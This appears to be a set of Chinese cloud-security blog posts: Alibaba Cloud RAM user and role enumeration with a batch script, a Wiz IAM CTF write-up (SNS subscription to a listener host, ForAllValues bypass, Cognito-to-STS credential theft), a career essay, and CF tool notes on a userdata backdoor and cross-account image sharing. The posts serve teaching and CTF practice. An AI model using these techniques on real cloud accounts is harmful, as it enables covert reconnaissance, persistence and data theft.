以阿里云为例,一个常见的角色信任策略如下所示:
{ "Statement": [ { "Action": "sts:AssumeRole", "Effect": "Allow", "Principal": { "RAM": [ "acs:ram::1234567890123456:user/test" ] } } ], "Version": "1"}
在这个策略中,Principal 的 RAM 中包含的是 ARN 信息,即 Aliyun Resource Name,格式一般有如下几种:
acs:ram::${AccountId}:rootacs:ram::${AccountId}:user/${UserName}acs:ram::${AccountId}:role/${RoleName}acs:ram::${AccountId}:policy/${PolicyName}
关于 ARN,AWS 的 ARN 全称是 Amazon Resource Name,我注意到腾讯云也叫 ARN,不过就不知道它的全称是什么了
如果角色的信任策略能够成功保存,就说明 ARN 是有效的。例如如果上面的策略能够成功保存,说明账号 1234567890123456 下的 test 用户是存在的,那么下面来看看这个具体是怎么操作的。
首先,根据上面的原理,我们想要构造对方的 ARN 值,就需要先知道对方的 Account ID 值,有了这个值我们才知道要枚举那个云上用户,账号 ID 这个值可以通过 GitHub 等常规信息收集方法去获取,这里就不多赘述了,那么接下来,就开始枚举用户吧。
依然以阿里云为例,首先我们需要创建一个角色,打开阿里云的「RAM 访问控制」页面,找到「身份管理」-「角色」页面,然后点击「创建角色」- 选择「阿里云账号」类型 - 随便输入角色的名称 - 在「选择信任的云账户」处选择「当前云账号」- 点击「完成」- 最后点击「关闭」。
这样一个角色就创建好了,我们来到角色的「信任策略管理」页面,点击「修改信任策略」,这里我们尝试将策略里的 ARN 修改为 acs:ram::1234567890123456:user/test
,点击保存发现提示 策略格式错误
,无法保存成功。
这时,我们输入一个正确的用户 ARN,就能保存成功了,通过这个特性,我们就能枚举用户名称了。
枚举角色也是一样的道理,只需要将 ARN 中 user 改成 role 就行。
手动一点点枚举比较麻烦,这里用 Python 简单写个批量枚举的脚本。
import jsonfrom aliyunsdkcore.client import AcsClientfrom aliyunsdkram.request.v20150501 import UpdateRoleRequestdef get_input(): account = input("请输入账号 ID: ") type_ = input("请输入类型: ") role = input("请输入要修改信任策略的角色名称:") dict = input("请输入字典文件: ") with open(dict, 'r') as file: names = file.readlines() return account, type_, names, roledef update_role_policy(account, type_, name, client, role): policy = { "Statement": [ { "Action": "sts:AssumeRole", "Effect": "Allow", "Principal": { "RAM": [f"acs:ram::{account}:{type_}/{name.strip()}"] } } ], "Version": "1" } request = UpdateRoleRequest.UpdateRoleRequest() request.set_RoleName(role.strip()) request.set_NewAssumeRolePolicyDocument(json.dumps(policy)) try: client.do_action_with_exception(request) print(f"[+] SUCCEEDED\t{name.strip()}") except Exception as e: print(f"[-] FAILED\t{name.strip()} -> {str(e)}")def main(): ACCESS_KEY = 'YOUR_ACCESS_KEY' SECRET_KEY = 'YOUR_SECRET_KEY' REGION = 'cn-hangzhou' client = AcsClient(ACCESS_KEY, SECRET_KEY, REGION) account, type_, names, role = get_input() for name in names: update_role_policy(account, type_, name, client, role)if __name__ == "__main__": main()
注意脚本里的 Access Key 需要手动修改一下,然后使用 pip 安装第三方库后就可以使用了。
pip install aliyunsdkcore aliyun-python-sdk-rampython enum_arn.py
遍历角色也可以,只需要把输入类型改为 role 即可。
这样,通过返回状态的不同我们就能判断目标账号下是否存在对应的角色与用户了,其实这里还有许多其他可玩的技巧,例如判断账号 ID 是否有效,枚举这个账号可能使用了哪些云服务等等,这些就留给读者自行探索了。
另外,如果字典太大的话,用上面的脚本枚举起来就会比较慢,所以如果你感兴趣的话,不妨试试将它改成多线程,上述的操作因为都是在我们自己的云账户中进行的,所以我们所枚举的目标账号是不会有任何感知的,只要用脚本枚举的时候,线程不超过云平台的速率限制就行。
]]>此文已同步更新到 T Wiki 云安全文库,文章地址:wiki.teamssix.com/cloudservice/iam/enum_user_and_role.html
T Wiki 在线访问地址:wiki.teamssix.com
这半年来,收到了 7 位师傅的补充,分别是 happi0
、Kfzz1
、cr
、k.so
、 zunlongzhou
、Ma1tobiose
、DVKunion
这 7 位师傅,感谢你们。
本次在云安全资源板块里的更新主要有两个特色:
在最近的更新中,云安全资源板块增加了推特模块,这里收录了一些国内外从事云安全方向的推特博主,如果你知道的一些推特博主不在这里面,也欢迎补充。
在工具模块中,对工具采用了按云厂商分类的方式,这样更方便找到自己所需要的工具。
来自「Kfzz1」师傅
来自「cr」师傅
来自「Ma1tobiose」师傅
来自「DVKunion」 师傅
自主更新内容
来自「happi0」师傅
《从脏管道(CVE-2022-0847)到 Docker 逃逸》
来自「k.so」师傅
《RCE 进入内网接管 K8s 并逃逸进 xx 网》
来自「zunlongzhou」师傅
《Docker 使用笔记》(补充文章)
自主更新内容
《AWS CloudFront 未配置默认根对象的风险简单分析》
《获取无法直接执行命令的 Windows 实例权限》
《CF 云环境利用框架最佳实践》
《聊聊我为什么选择云安全》
《WIZ IAM 挑战赛 Writeup》
T Wiki 云安全资源板块里的内容会同步更新到 Awesome Cloud Security 项目中,Awesome Cloud Security 云安全资源汇总项目地址: github.com/teamssix/awesome-cloud-security
关于文库更新时间线详情可以参见:wiki.teamssix.com/changelog
如果你也想为 T Wiki 云安全文库进行补充,可以在 T Wiki 的「关于文库」的「一起补充」中找到补充的方法。
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
自己也尝试做了一下,整个过程还是能学习到很多东西的,下面是我自己答题过程中的一个记录。
第一题是叫 Buckets of Fun,基本上 CTF 的第一题都是送分题,这里也不例外。
题目中给出了一个 Bucket 的 Policy 内容如下:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": "*", "Action": "s3:GetObject", "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" }, { "Effect": "Allow", "Principal": "*", "Action": "s3:ListBucket", "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b", "Condition": { "StringLike": { "s3:prefix": "files/*" } } } ]}
从策略里可以看到,这个存储桶具有公开列对象和公开读取的权限,由于题目里已经给出了 Bucket 名称,我们拼接下完整的 URL 为:https://thebigiamchallenge-storage-9979f4b.s3.amazonaws.com
直接访问这个地址,就可以看到 FLAG 所对应的 Key
访问这个 Key 即可得到 FLAG 内容
这个题目可以告诉我们,对于存储桶应该避免允许公开访问以及避免允许公开列对象,防止敏感信息遭到泄露。
第二题叫 Google Analytics,给出的 Policy 如下:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": "*", "Action": [ "sqs:SendMessage", "sqs:ReceiveMessage" ], "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2" } ]}
这个 Policy 授予了所有人拥有这个 SQS 队列的发送、接收消息的权限。
SQS (Simple Queue Service) 可以用来帮助不同的应用程序之间进行可靠的消息传递,它就像是一个消息中转站,可以把消息从一个地方发送到另一个地方,确保消息的安全送达和处理,让应用程序之间更好地进行通信和协作。
根据官方文档,要调用 Receive Message 接口,需要知道 Queue URL,Queue URL 的主要构成部分就是 Account ID 和 Queue,在题目的 Policy 中给出了 Account ID 和 Queue 的值,那么我们就可以构造这个 Queue URL 了,构造后的 Queue URL 为:https://queue.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
最后,使用 AWS CLI 的 SQS 服务里的 receive-message 接口,利用 –queue-url 参数指定这个队列的 URL 地址。
aws sqs receive-message --queue-url https://queue.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
此时可以在响应中看到一个 URL 地址。
访问这个 URL 地址就可以看到 FLAG 了。
这个题目告诉我们,对于 SQS 服务,应该避免允许公开接收对列的消息,避免在传输消息时造成敏感信息的泄露。
第 3 道题叫 Enable Push Notifications,给出的 Policy 如下:
{ "Version": "2008-10-17", "Id": "Statement1", "Statement": [ { "Sid": "Statement1", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "SNS:Subscribe", "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications", "Condition": { "StringLike": { "sns:Endpoint": "*@tbic.wiz.io" } } } ]}
这个 Policy 允许 Endpoint 结尾是 @tbic.wiz.io 的人拥有这个 SNS 服务的 Subscribe 权限。
SNS(Simple Notification Service)可以帮助开发人员向移动设备、电子邮件、消息队列等多种终端发送通知消息,让你能够轻松地向用户传递重要信息和实时更新。简单来说,SNS 就像是一个消息广播系统,让你能够快速、可靠地将消息发送给订阅者,确保他们及时收到你发送的通知。
AWS CLI 中的 SNS Subscribe 功能里需要指定协议、通知端点以及 ARN,在 Policy 中我们已经知道 ARN 了,接下来就需要去构造一个通知端点,而且这个通知端点需要以 @tbic.wiz.io 结尾。
> aws sns subscribe helpsubscribe--topic-arn <value>--protocol <value>[--notification-endpoint <value>]
查阅官方文档可以知道,通知协议支持 HTTP、HTTPS、EMAIL、SMS、SQS 等等,这里我们可以构造一个 HTTP 的通知端点,例如 http://123.123.123.123:800/@tbic.wiz.io,这样就符合这个 Policy 里的条件了,然后当我们执行订阅命令时,就会收到来自对方的消息。
那么先在自己的服务器上,使用 NC 监听一个端口。
nc -lvk 80
然后执行以下命令:
aws sns subscribe --protocol http --notification-endpoint http://123.123.123.123:800/@tbic.wiz.io --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications
此时,NC 就会收到一个请求,在请求中有一个 Token,待会儿会用到。
根据官方文档的描述,在进行 Subscribe 时,如果当前和订阅的主题不在一个 AWS 账号下,还需要进行确认操作,在进行确认操作的时候,就需要使用主题返回的 Token 值了。
我们使用以下命令进行确认操作。
aws sns confirm-subscription --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --token 336412f37fb687f5d51e6e2425c464de257ebd13d0594......
当我们执行完这条命令后,等待一会儿,在服务器上就可以接收到包含 FLAG 的消息了。
可以看到题目难度开始加大了,这里除了利用权限公开访问外,还涉及到了对 Policy 中限定条件的绕过。
因此我们在编写 Policy 的时候,除了注意权限不要设置过大外,还应该注意 Policy 中是否有可能被绕过的地方。
第 4 题的名字叫 “Admin only?”,给出的 Policy 如下:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": "*", "Action": "s3:GetObject", "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*" }, { "Effect": "Allow", "Principal": "*", "Action": "s3:ListBucket", "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321", "Condition": { "StringLike": { "s3:prefix": "files/*" }, "ForAllValues:StringLike": { "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin" } } } ]}
可以看到,这道题是和 S3 相关的,思路还是和第一题一样,先找到 FLAG 的 Key,然后拼接访问 FLAG 的地址即可。
那么,现在的目标就是获取到这个 FLAG 的 Key,但是我们从 Policy 里可以看到这个存储桶只对 arn:aws:iam::133713371337:user/admin 主体授予了 ListBucket 权限,所以现在要解决的问题就是,怎么绕过这个限制。
查阅官方文档,我们可以得到这样的一条信息:对于 ForAllValues,如果请求中没有键或者键值解析为空数据集(如空字符串),则也会返回 true,不要使用带有 Allow 效果的 ForAllValues,因为这样可能会过于宽容。
也就是说,如果我们把请求中的 aws:PrincipalArn 至为空,这里就会返回 True,那么就可以绕过了。
此时我们先发送一条包含 aws:PrincipalArn 的请求。
> aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --prefix 'files/'An error occurred (AccessDenied) when calling the ListObjects operation: Access Denied
可以看到提示访问被拒绝,然后加上 --no-sign-request
试试。
> aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --prefix 'files/' --no-sign-request{ "Contents": [ { "Key": "files/flag-as-admin.txt", "LastModified": "2023-06-07T19:15:43+00:00", "ETag": "\"e365cfa7365164c05d7a9c209c4d8514\"", "Size": 42, "StorageClass": "STANDARD" }, { "Key": "files/logo-admin.png", "LastModified": "2023-06-08T19:20:01+00:00", "ETag": "\"c57e95e6d6c138818bf38daac6216356\"", "Size": 81889, "StorageClass": "STANDARD" } ]}
可以看到,此时就返回了存储桶里的对象了,然后我们访问 FLAG 即可。
在使用命令行操作的时候,因为默认会带上自己 AWS CLI 上所配置的身份信息,所以这里我们需要加上 --no-sign-request
去绕过,但我们使用浏览器访问的时候,其实本身就不包含身份信息的,所以这里有个更简单的做法,就是直接使用浏览器访问,然后加上前缀就行了。
这题告诉我们,在策略中即使配置了授权主体,也不一定就是安全的,还要注意有没有使用 ForAllValues,那么我们应该如何防范呢,其实只要把 ForAllValues 替换成 ForAnyValue 就行了,如果键值是空值的话,ForAnyValue 会返回 False,而不是 True,此时我们如果是未授权的访问就会提示 AccessDenied 了。
第 5 题的名字叫 “Do I know you?”,题目信息是:“我们将 AWS Cognito 配置为我们的主要身份提供商,希望我们没有犯任何错误。”,题目给的 Policy 是:
{ "Version": "2012-10-17", "Statement": [ { "Sid": "VisualEditor0", "Effect": "Allow", "Action": [ "mobileanalytics:PutEvents", "cognito-sync:*" ], "Resource": "*" }, { "Sid": "VisualEditor1", "Effect": "Allow", "Action": [ "s3:GetObject", "s3:ListBucket" ], "Resource": [ "arn:aws:s3:::wiz-privatefiles", "arn:aws:s3:::wiz-privatefiles/*" ] } ]}
根据题目信息,可以得知这道题和 AWS Cognito 有关,并且 Cognito 这块儿的配置应该是有问题的。
AWS Cognito 是一项托管服务,可帮助开发人员轻松添加用户身份验证和授权功能到应用程序中。它提供了用于注册、登录和管理用户的功能,支持常见的身份验证方法,如用户名/密码、社交媒体登录和身份提供商集成。Cognito 还提供了用户身份验证的安全性、可伸缩性和可定制性,并与其他 AWS 服务集成,使开发人员能够构建安全可靠的应用程序。
那么这里需要先了解下,如何使用 Cognito,根据官方文档的描述,要使用 Cognito 需要先创建一个 Amazon Cognito 身份池,然后填入创建的身份池 ID 去调用 SDK 获取临时凭证,最后通过临时凭证去操作资源。
这里我一开始使用自己创建的身份池做了下测试,发现提示没有权限,这也是理所当然的,那么下面我们就需要找到对方的身份池 ID 是什么,后来才知道,原来这个身份池 ID 就放在了这个 CTF 题目网页的源代码里。
有了身份池 ID,就可以通过 SDK 调用相关服务了,这里可以直接用 ChatGPT 去生成相关代码,不过代码可能会有点小问题,需要手动调一下,下面是一个可用的代码。
<!DOCTYPE html><html><head> <title>Cognito JavaScript SDK Example</title> <script src="https://sdk.amazonaws.com/js/aws-sdk-2.100.0.min.js"></script></head><body> <script> // 初始化AWS SDK配置 AWS.config.region = 'us-east-1'; AWS.config.credentials = new AWS.CognitoIdentityCredentials({ IdentityPoolId: 'us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b', }); // 获取临时凭证 AWS.config.credentials.get(function(err) { if (!err) { // 凭证获取成功 var accessKeyId = AWS.config.credentials.accessKeyId; var secretAccessKey = AWS.config.credentials.secretAccessKey; var sessionToken = AWS.config.credentials.sessionToken; // 进行后续操作,如访问S3 accessS3(accessKeyId, secretAccessKey, sessionToken); } else { // 凭证获取失败 console.error('Error retrieving credentials: ' + err); } }); // 使用临时凭证访问S3 function accessS3(accessKeyId, secretAccessKey, sessionToken) { var s3 = new AWS.S3({ accessKeyId: accessKeyId, secretAccessKey: secretAccessKey, sessionToken: sessionToken, }); var params = { Bucket: 'wiz-privatefiles', }; s3.getSignedUrl('listObjectsV2', params, function(err, data) { if (!err) { // S3存储桶列表获取成功 console.log(data); } else { // S3存储桶列表获取失败 console.error('Error listing S3 buckets: ' + err); } }); } </script></body></html>
使用浏览器打开这个 HTML 文件,在 Console 中可以看到输出了一行地址。
访问它,就可以看到存储桶里的对象被列出了。
这里可以得知 FLAG 的 Key 是 flag1.txt,然后把代码修改下,改成读这个对象。
<!DOCTYPE html><html><head> <title>Cognito JavaScript SDK Example</title> <script src="https://sdk.amazonaws.com/js/aws-sdk-2.100.0.min.js"></script></head><body> <script> // 初始化AWS SDK配置 AWS.config.region = 'us-east-1'; AWS.config.credentials = new AWS.CognitoIdentityCredentials({ IdentityPoolId: 'us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b', }); // 获取临时凭证 AWS.config.credentials.get(function(err) { if (!err) { // 凭证获取成功 var accessKeyId = AWS.config.credentials.accessKeyId; var secretAccessKey = AWS.config.credentials.secretAccessKey; var sessionToken = AWS.config.credentials.sessionToken; // 进行后续操作,如访问S3 accessS3(accessKeyId, secretAccessKey, sessionToken); } else { // 凭证获取失败 console.error('Error retrieving credentials: ' + err); } }); // 使用临时凭证访问S3 function accessS3(accessKeyId, secretAccessKey, sessionToken) { var s3 = new AWS.S3({ accessKeyId: accessKeyId, secretAccessKey: secretAccessKey, sessionToken: sessionToken, }); var params = { Bucket: 'wiz-privatefiles', Key: 'flag1.txt', }; s3.getSignedUrl('getObject', params, function(err, data) { if (!err) { // S3存储桶对象获取成功 console.log(data); } else { // S3存储桶对象获取失败 console.error('Error get S3 bucket object: ' + err); } }); } </script></body></html>
用浏览器打开这段 HTML,复制打开 Console 中的链接,就可以得到 FLAG 了。
在这题里,可以得知,平时应该保护好自己的身份池 ID,另外身份池类型有不允许匿名访问和允许匿名访问这两种,在创建身份池的时候,我们应该选择使用不允许匿名访问的。
如果设置了不允许匿名访问,那么我们在匿名访问的情况下去调用它的话,就会提示未授权访问,而不是直接生成临时令牌了。
第 6 题,也是最后一题,这题叫 One final push,题目内容是:“匿名访问已被禁止,现在看看你能做什么,现在尝试使用经过身份验证的角色:
arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role”,题目给出的 Policy 如下:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Federated": "cognito-identity.amazonaws.com" }, "Action": "sts:AssumeRoleWithWebIdentity", "Condition": { "StringEquals": { "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b" } } } ]}
可以看到,这题其实是上一道题的延伸,身份池 ID 都是一样的。
在 Policy 的 Action 中有个利用 AssumeRoleWithWebIdentity 生成 STS 的行为。
通过查看官方文档可以知道,想利用 AssumeRoleWithWebIdentity 生成 STS 需要知道三个东西。
> aws sts assume-role-with-web-identity help--role-arn <value>--role-session-name <value>--web-identity-token <value>
其中 role-arn 题目已经给我们了,role-session-name 我们自己随便起一个就行,那么最后剩下的就是 web-identity-token 了。
根据官方文档和询问 ChatGPT,web-identity-token 可以通过身份池 ID 去获得,而且生成 Token 的相关接口都是公开的,可以被直接调用,不需要授权。
要获取 Token,首先我们需要用这个身份池 ID 获取到它的身份 ID。
> aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b{ "IdentityId": "us-east-1:453cea83-a2c0-4b64-a7ff-9dc3783701db"}
然后使用这个身份 ID 获取 Token,这个接口也是公共接口,不需要任何权限。
> aws cognito-identity get-open-id-token --identity-id us-east-1:453cea83-a2c0-4b64-a7ff-9dc3783701db{ "IdentityId": "us-east-1:453cea83-a2c0-4b64-a7ff-9dc3783701db", "Token": "eyJraWQiOiJ1cy1lYXN0Lxxxx..."}
最后利用上述信息,就可以调用 assume-role-with-web-identity 生成一个 STS 了。
> aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name teamssix --web-identity-token eyJraWQiOiJ1cy1lYXN0LTEzIiwidHlwIjoi...{ "Credentials": { "AccessKeyId": "ASIARK7LBOHXDFQ6KRE3", "SecretAccessKey": "Wqk43MfgwPM5F7Z9IfFgv24RwHuCVDh8M0swTUyj", "SessionToken": "IQoJb3JpZ2luX2VjEND...", "Expiration": "2023-07-06T16:36:18+00:00" }, "SubjectFromWebIdentityToken": "us-east-1:453cea83-a2c0-4b64-a7ff-9dc3783701db", "AssumedRoleUser": { "AssumedRoleId": "AROARK7LBOHXASFTNOIZG:teamssix", "Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessAuth_Role/teamssix" }, "Provider": "cognito-identity.amazonaws.com", "Audience": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"}
最后使用环境变量配置这个 STS。
> export AWS_ACCESS_KEY_ID=ASIARK7LBOHXDFQ6KRE3> export AWS_SECRET_ACCESS_KEY=Wqk43MfgwPM5F7Z9IfFgv24RwHuCVDh8M0swTUyj> export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEND...
然后列下当前存储桶,其实这些存储桶就是上面所有题里用到的存储桶。
> aws s3 ls2023-06-05 01:07:29 tbic-wiz-analytics-bucket-b44867f2023-06-05 21:07:44 thebigiamchallenge-admin-storage-abf13212023-06-05 00:31:02 thebigiamchallenge-storage-9979f4b2023-06-05 21:28:31 wiz-privatefiles2023-06-05 21:28:31 wiz-privatefiles-x1000
最后,在 wiz-privatefiles-x1000 存储桶下找到 FLAG 文件。
aws s3api get-object --bucket wiz-privatefiles-x1000 --key flag2.txt flag2.txt
结束,拿到最后一个 FLAG。
到这里,其实可以得到一个结论,就是在拿到身份池 ID 以及所对应的角色 ARN 时,通过这两条信息,可以获取到对应角色的权限,因此平时应该注意,不要将这些信息泄露。
最后,通过上面这 6 道题,个人觉着还是能学习到不少东西的,在整个过程中需要查阅大量的官方文档,ChatGPT 也是个很好的辅助工具,另外这里也参考了一些其他人的 WP,我所参考的资料都放在参考链接了,在你去做这个 IAM 挑战赛的时候,以上内容或许可以帮助到你。
参考链接:
- https://docs.aws.amazon.com/zh_cn/AWSSimpleQueueService/latest/SQSDeveloperGuide/welcome.html
- https://docs.aws.amazon.com/cli/latest/reference/sqs/receive-message.html
- https://docs.aws.amazon.com/zh_cn/sns/latest/dg/welcome.html
- https://docs.aws.amazon.com/cli/latest/reference/sns/subscribe.html
- https://docs.aws.amazon.com/cli/latest/reference/sns/confirm-subscription.html
- https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/reference_policies_multi-value-conditions.html#reference_policies_multi-key-or-value-conditions
- https://docs.aws.amazon.com/zh_cn/cognito/latest/developerguide/getting-started-with-identity-pools.html
- https://docs.aws.amazon.com/cli/latest/reference/cognito-identity/get-id.html
- https://docs.aws.amazon.com/cli/latest/reference/cognito-identity/get-open-id-token.html
- https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html
- https://medium.com/@ayush.guha/ctf-thebigiamchallenge-walkthrough-534d727eb0d8
- https://zhuanlan.zhihu.com/p/640694595
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
现在 CF 已经发布了 0.5.0 版本,在这个版本中增加了不少新功能,具体的可以看这篇文章的介绍:CF 云环境利用框架现已更新至 0.5.0 版本,这里就不再赘述了,那么关于我为什么选择云安全这个方向还要从 2021 年底说起。
在 2021 年底的时候,当时的我在做的是偏向于内网攻防方面的工作,我也在我的公众号、博客里累积发过 4 万多字的内网学习笔记,学习记录这些笔记我花了一年的时间。那么下一步的学习计划呢,我是应该了解学习代码审计、免杀还是别的什么呢?那时的我试着学习了一两个月的代码审计,我渐渐意识到,按照现在的进度,我恐怕要花费二年三年甚至更长时间才能有行业里的代码审计大牛们比如狼组的 Y4tacker 师傅的水平。当然如果只是想有个平庸的水平,那自然不用花费太多的时间,但我不希望自己只是个平庸的人。
记得在多年的某一天,当时我跟几个朋友和老师在一起聊天,当时老师问我们,你们觉着是选择重要还是努力重要,有人说是努力有人说是选择,当时我的回答是选择,事实也确实是如此:选择大于努力。
2022 年初的时候,当时公司的老板和领导跟我们说,后面要往云安全方向发展,到今天,我依然佩服他们的决定与眼界。
根据 Statista 的数据,2023 年预计公有云市场将达到 5000 亿美元,2023 至 2027 年将有 13.81% 的年增长率,根据经济学里的 70 规则,不难计算出,这个增长率意味着每 5 年就会翻一番,也就是说到 2028 年可能这个市场就会到万亿的规模。当然这只是很简单的估算,以后也不一定真的会是这样,但有一点可以确定的是,这个市场目前正在快速扩张中,国内外都是如此。
由于安全的伴生特性,云计算市场的发展,大概率会带动云安全的发展,也会带动攻防场景的转移。以前大家都是打域控,以后除了要会打域控还要会打云管,从我个人以及身边人的反馈也发现,在现在的攻防场景中,遇到云的情况已经越来越多了。
平时打内网的时候,有些人会有个习惯,就是遇到云主机或者云环境,直接不打或者不继续深入,因为这部份资产的“性价比”没那么高。如果是只专注于打那些有传统内网的,现阶段或许还行,但以后随着企业不断上云,再继续采取这种策略就会有些吃亏了,而且从去年开始,大家开始越来越注重数据的泄露问题。企业上云后,数据也会在云上,如果此时再不关注云上的风险,那最后的攻防成绩可能就真的不如别人好看了。
跟着时代的节奏走会走的更顺利,选择个人的发展方向也是如此,现在企业的上云带来云计算市场的火热,因而带动了云安全的发展;以后如果那天大家不满足上云了,改成直接上太空了,比云还高(开个玩笑),到时候就会带来太空安全的发展。
我觉得个人方向的选择应该要基于一个长远的眼光去考虑,现在云安全在国内其实还处于刚起步的阶段,但以后绝对是一个会被越来越多人提及、重视的方向。
我在之前在学习内网的时候,看到一些文章都是五年前甚至十年前的文章,有的工具也都是十年前的工具,我所走的就是他们走过的路,不需要自己开路,这样能省事儿不少。
现在国内的云安全在我看来其实还是一个需要开路的状态,走过这条路的人现在还不是很多,如果我现在去开路,也许以后走在云安全这条路上的后来者们,就会发现我所走过的足迹、走过我所搭好的桥。
那时他的心情也许就像是在小岛秀夫的《死亡搁浅》中,路过一条河流、来到一处悬崖时,发现已经有人搭好了一座桥,他不用再趟过河流、不用耗费材料去费劲搭桥,可以很轻松的借助前人的工作到达对岸。
喜马拉雅资本创始人李录在《文明、现代化、价值投资与中国》中提到一个概念:知识思想交换时出现的情况是 1 + 1 > 4,不同的思想进行交换的时候,交换双方不仅保留了自己的思想,获得了对方的思想,而且在交流中还碰撞出火花,创造出全新的思想。
在我看来技术的交流也属于知识思想的交换,技术在交流的时候,其实也是个技术交换的过程,在交换的过程中,不仅保留了对方的技术,也许还会碰撞出新的火花。但这一切有个前提,就是需要有人愿意交流技术,有一个可以交流技术的地方,这也是我搭建开源云安全文库 T Wiki (wiki.teamssix.com) 的原因之一。
我把我自己学习云安全过程中的笔记以及一些研究成果放到 T Wiki 里,并且允许别人一起补充这个文库,然后你就会发现,其实不是没人愿意交流,而是没有地方交流,那么此时就需要有人去创造一个交流的环境与氛围,最后就是一个 1 + 1 > 4 的效果。
前面说到了选择大于努力,我再加上后半句:格局大于能力。
我想如果学习、从事云安全的人多了,我们每一个身处在其中的人都会变得更好。只有一家店的美食街和有很多家店的美食街的人流量是不同的,随着更多的人加入,我们每个人都会变得更好。
这一年来,我开始发现接触、学习云安全的人越来越多了,今年 KCon 的议题我注意到有很多的云安全方向的议题,我觉着这是件好事。也许有人会觉着,人多了就卷了,人多了竞争就加剧了,但目前我看到的现象却不是这样,至少不全是这样。
起初我打算搞个知识星球,但后来我意识到我的东西都是开源的,任何人都能看到,也就没必要搞星球了,但我还是希望有一个能和更多人交流云安全的地方,于是就建了一个云安全交流群。平时在群里,大家可以一起交流云安全方面的东西,这一年来,群里一直还是蛮活跃的,应该也是国内为数不多的比较活跃的技术交流群了。
关于这个群我只会创建这一个,为了保证有新人能加入,所以这个群会定期清理长期不活跃的人,如果你想加入,可以找我,我给你拉进去。在我的微信公众号:TeamsSix 中回复:“交个朋友” 可以加我的微信。
这一年里,在群里我看到的是大家都在互相交流技术、讨论一些云上的攻防手法、偶尔也会吐吐槽等等。这一年来也不断有人为 T Wiki 补充新的东西,也有不少人为 CF 提交 PR,现在 CF 项目已经有了 2k 的 Stars,Awesome Cloud Security 也有了 1k 的 Stars,我注意到国内云安全的研究文章、云上攻防的实战案例文章也在不断增多,也有不少文章引用了我们在去年公开的一些云上攻防手法。
这一切的一切无不在表示着,1 + 1 > 4 的过程正在不断循环着,一个人的能力是有限的,但一个整体的能力是无限的,随着国内的云安全整体水平不断提升,我相信处于整体中的我们每一个人都能受益,我想我所做的这些事情,或许也为国内云安全发展贡献了自己的一份微薄的力量。
以前上学的时候,班主任、老师们总会说,我们的中考成绩、高考成绩取决于偏科的那门成绩。但人这一辈子的成就与高度也是取决于“偏科的那门成绩”吗?我想肯定不是的,一个人所能达到的高度应该是取决于他的长板而不是短板。
在网络安全这个行业里也是一样,一个人的水平高低不是取决于你不会的东西,而是取决于你会的东西,在一个方向上的高度就足以决定在整个行业里的高度,我想云安全就是现阶段的自己能从事的最好的一个方向,也是性价比最高的一个方向。
壹心理联合投资人、心理学作家黄启团在他的几本书里,都反复提到了一句话:人生没有极限,除非你自我设限。这句话让我想到了邓紫棋的一首歌《天空没有极限》里唱的:天空没有极限,人生未来无边。
我们每一个人的人生都是无限的,天空是广阔无边的,我的微信签名和博客首页 (teamssix.com) 有一句话:I can do all this through him who gives me strength,其实所表达的也都是一个意思。
虽然说选择大于努力,但不代表努力不重要,其实现在的自己对云中的一些内容也还知之甚少,有很多需要学习的地方。天空是无限的,我不知道我以后能飞到什么高度,但我想应该尽自己所能,在现在这个年龄中不断的提升自己,毕竟有了方向后,剩下的就是努力了。
最后,感谢你看到这里,也感谢我身边所遇到的每一个人。
感谢为 T Wiki 补充的每一个人,感谢访问阅读过 T Wiki 的每一个人;感谢为 Awesome Cloud Security 项目补充的每一个人,感谢阅读过 Awesome Cloud Security 的每一个人;感谢为 CF 项目提交 PR 的每一个人,感谢使用过 CF 的每一个人 ……
因为你,使我做的这些事情有了价值,希望我所留下的这些足迹能帮助到你。
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
CF 于 2022 年 7 月 1 日发布,今天正好是该工具发布的一周年,现在 CF 已有近 2k Stars,今天 CF 更新到了 0.5.0 版本,这里介绍下这个版本所更新的内容。
CF 项目地址:github.com/teamssix/cf
CF 使用手册:wiki.teamssix.com/cf
由于在实例启动时,会执行用户数据中的内容,因此通过往用户数据中写入文件,可以起到后门的作用。
现在使用以下命令,就可以修改实例中的用户数据,这样当实例重启时就会执行该命令了。
cf alibaba ecs exec --userDataBackdoor "whoami"
通过镜像共享功能,可以将当前实例的镜像共享给其他的阿里云账号,这样当其他的阿里云账号下使用这个共享镜像创建实例的时候,就能看到目标实例中的数据了。
使用以下命令进行创建共享镜像,-a 参数用来指定要共享给的阿里云账号。
cf alibaba ecs imageShare -a <account_id>
